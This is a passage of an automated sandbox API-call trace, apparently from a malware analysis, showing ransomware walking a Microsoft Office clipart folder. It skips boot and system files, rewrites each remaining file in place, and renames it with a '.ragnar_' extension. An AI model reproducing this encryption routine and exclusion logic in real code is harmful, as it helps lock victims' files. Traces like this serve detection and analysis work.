dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.260] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.261] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.261] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.261] GetProcessHeap () returned 0x580000 [0080.261] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.261] CloseHandle (hObject=0xf4) returned 1 [0080.261] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" [0080.261] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.ragnar_FD7BD9FC" [0080.261] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.261] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0080.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.262] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD19582_.GIF" | out: lpString1="BD19582_.GIF") returned="BD19582_.GIF" [0080.262] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned=".GIF" [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="autorun.inf") returned 1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="boot.ini") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="bootfont.bin") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="bootsect.bak") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="bootmgr") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="bootmgr.efi") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="bootmgfw.efi") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="desktop.ini") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="iconcache.db") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="ntldr") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="ntuser.dat") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="ntuser.dat.log") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="ntuser.ini") returned -1 [0080.262] lstrcmpiW (lpString1="BD19582_.GIF", lpString2="thumbs.db") returned -1 [0080.262] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0080.262] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0080.262] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0080.262] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0080.262] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0080.262] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0080.262] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0080.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0080.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.263] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15733) returned 1 [0080.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.263] GetProcessHeap () returned 0x580000 [0080.263] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.263] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.265] VirtualAlloc (lpAddress=0x0, dwSize=0x3d75, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.266] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.266] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.266] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d75, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3d75, lpOverlapped=0x0) returned 1 [0080.267] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.267] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d75, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.267] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d75, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3d75, lpOverlapped=0x0) returned 1 [0080.267] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d75, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.267] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.267] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.267] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.268] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.268] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.268] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.268] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.268] GetProcessHeap () returned 0x580000 [0080.268] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.268] CloseHandle (hObject=0xf4) returned 1 [0080.268] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" [0080.268] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.ragnar_FD7BD9FC" [0080.268] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.269] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0080.269] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.269] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD19695_.WMF" | out: lpString1="BD19695_.WMF") returned="BD19695_.WMF" [0080.269] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned=".WMF" [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="autorun.inf") returned 1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="boot.ini") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="bootfont.bin") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="bootsect.bak") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="bootmgr") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="bootmgr.efi") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="desktop.ini") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="iconcache.db") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="ntldr") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="ntuser.dat") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="ntuser.ini") returned -1 [0080.269] lstrcmpiW (lpString1="BD19695_.WMF", lpString2="thumbs.db") returned -1 [0080.269] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.269] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.269] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.269] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.269] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.269] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.269] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0080.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.270] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12982) returned 1 [0080.270] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.270] GetProcessHeap () returned 0x580000 [0080.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.270] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.272] VirtualAlloc (lpAddress=0x0, dwSize=0x32b6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.272] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.272] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.272] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x32b6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x32b6, lpOverlapped=0x0) returned 1 [0080.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.273] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32b6, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.273] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x32b6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x32b6, lpOverlapped=0x0) returned 1 [0080.273] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32b6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.273] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.273] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.273] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.273] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.274] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.274] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.274] GetProcessHeap () returned 0x580000 [0080.274] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.274] CloseHandle (hObject=0xf4) returned 1 [0080.274] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" [0080.274] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.ragnar_FD7BD9FC" [0080.274] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.274] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0080.274] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.274] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD19827_.WMF" | out: lpString1="BD19827_.WMF") returned="BD19827_.WMF" [0080.274] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned=".WMF" [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="autorun.inf") returned 1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="boot.ini") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="bootfont.bin") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="bootsect.bak") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="bootmgr") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="bootmgr.efi") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="desktop.ini") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="iconcache.db") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="ntldr") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="ntuser.dat") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="ntuser.ini") returned -1 [0080.275] lstrcmpiW (lpString1="BD19827_.WMF", lpString2="thumbs.db") returned -1 [0080.275] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.275] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.275] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.275] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.275] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.275] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.275] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0080.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.275] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9710) returned 1 [0080.276] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.276] GetProcessHeap () returned 0x580000 [0080.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.276] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.277] VirtualAlloc (lpAddress=0x0, dwSize=0x25ee, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.277] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.277] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.277] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x25ee, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x25ee, lpOverlapped=0x0) returned 1 [0080.278] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.278] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.278] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x25ee, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x25ee, lpOverlapped=0x0) returned 1 [0080.279] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.279] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.279] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.279] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.279] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.279] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: 